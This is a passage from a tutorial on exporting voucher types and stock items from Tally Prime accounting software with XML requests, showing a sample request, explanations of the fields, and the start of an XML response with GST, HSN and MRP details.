                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Rejections Out<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Reversing Journal"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Reversing Journal"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Rev Jrnl<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 160<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Reversing Journal<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Sales"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Sales"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Sale<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 70<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Sales<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Sales Order"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Sales Order"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Sales Ordr<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 170<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Sales Order<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Stock Journal"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Stock Journal"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Stk Jrnl<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 140<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Stock Journal<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DATA</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This response gives all the tally voucher types list like contra, Credit Note, Attendance, etc.</p>
<h2 id="heading-export-stock-item-from-tally-prime"><strong>Export Stock item from Tally Prime</strong></h2>
<p><strong>Xml Request:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TALLYREQUEST</span>&gt;</span>EXPORT<span class="hljs-tag">&lt;/<span class="hljs-name">TALLYREQUEST</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>COLLECTION<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">ID</span>&gt;</span>List of Stock Items<span class="hljs-tag">&lt;/<span class="hljs-name">ID</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>$$SysName:XML<span class="hljs-tag">&lt;/<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">TDL</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDLMESSAGE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"List of Stock Items"</span> <span class="hljs-attr">ISINITIALIZE</span>=<span class="hljs-string">"Yes"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>Stock item<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>Name<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>Parent<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>OpeningBalance<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>OpeningValue<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>GSTDetails<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>HSNDetails<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>BaseUnits<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>GSTTypeOfSupply<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>MRPDetails<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>BatchalLocations<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">TDLMESSAGE</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">TDL</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This request is designed to export a collection of stock items with the following details:</p>
<ul>
<li><p><strong>Name</strong>: Provides the name of the stock item.</p>
</li>
<li><p><strong>Parent</strong>: Indicates the stock group to which the item belongs.</p>
</li>
<li><p><strong>OpeningBalance</strong>: Displays the opening quantity of the stock item.</p>
</li>
<li><p><strong>OpeningValue</strong>: Represents the opening rate or value of the stock item.</p>
</li>
<li><p><strong>GSTDetails</strong>: Includes all relevant GST information, such as GST rate details.</p>
</li>
<li><p><strong>HSNDetails</strong>: Provides HSN-related details, including the HSN code and description.</p>
</li>
<li><p><strong>BaseUnits</strong>: Specifies the base units for the stock item.</p>
</li>
<li><p><strong>GSTTypeOfSupply</strong>: Indicates the type of supply for GST purposes.</p>
</li>
<li><p><strong>MRPDetails</strong>: Displays the maximum retail price (MRP) of the item.</p>
</li>
<li><p><strong>BatchalLocations</strong>: Shows details of the GODOWN locations where the stock is stored.</p>
</li>
</ul>
<p>Xml Response:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">STATUS</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STATUS</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DATA</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">ISMSTDEPTYPE</span>=<span class="hljs-string">"Yes"</span> <span class="hljs-attr">MSTDEPTYPE</span>=<span class="hljs-string">"512"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKITEM</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Azarak"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">""</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">PARENT</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Sarees<span class="hljs-tag">&lt;/<span class="hljs-name">PARENT</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTTYPEOFSUPPLY</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Goods<span class="hljs-tag">&lt;/<span class="hljs-name">GSTTYPEOFSUPPLY</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">BASEUNITS</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>pcs<span class="hljs-tag">&lt;/<span class="hljs-name">BASEUNITS</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">HASMFGDATE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">HASMFGDATE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">OPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Quantity"</span>&gt;</span> 100 pcs<span class="hljs-tag">&lt;/<span class="hljs-name">OPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">OPENINGVALUE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span>-1200000.00<span class="hljs-tag">&lt;/<span class="hljs-name">OPENINGVALUE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONDATE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">CALCULATIONTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REPORTINGUOM</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNMASTERNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SUPPLYTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONNUMBER</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNATUREOFTRANSACTION</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATUREOFGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>As per Company/Stock Group<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTCALCSLABONMRP</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISREVERSECHARGEAPPLICABLE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISNONGSTGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTINELIGIBLEITC</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">GSTINELIGIBLEITC</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">INCLUDEEXPFORSLABCALC</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">STATENAME</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Any<span class="hljs-tag">&lt;/<span class="hljs-name">STATENAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>CGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>SGST/UTGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>IGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Not Applicable<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>State Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>       <span class="hljs-tag">&lt;/<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCLASSIFICATIONNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>As per Company/Stock Group<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Azarak<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MRPDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">FROMDATE</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">FROMDATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">MRPRATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">PRIORSTATENAME</span>/&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">STATENAME</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Any<span class="hljs-tag">&lt;/<span class="hljs-name">STATENAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">MRPRATE</span>&gt;</span>1000.00/pcs<span class="hljs-tag">&lt;/<span class="hljs-name">MRPRATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">MRPRATEDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">MRPDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">BATCHALLOCATIONS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">MFDON</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GODOWNNAME</span>&gt;</span>Main Location<span class="hljs-tag">&lt;/<span class="hljs-name">GODOWNNAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">BATCHNAME</span>&gt;</span>Primary Batch<span class="hljs-tag">&lt;/<span class="hljs-name">BATCHNAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">OPENINGBALANCE</span>&gt;</span> 100 pcs<span class="hljs-tag">&lt;/<span class="hljs-name">OPENINGBALANCE</span>&gt;</span>
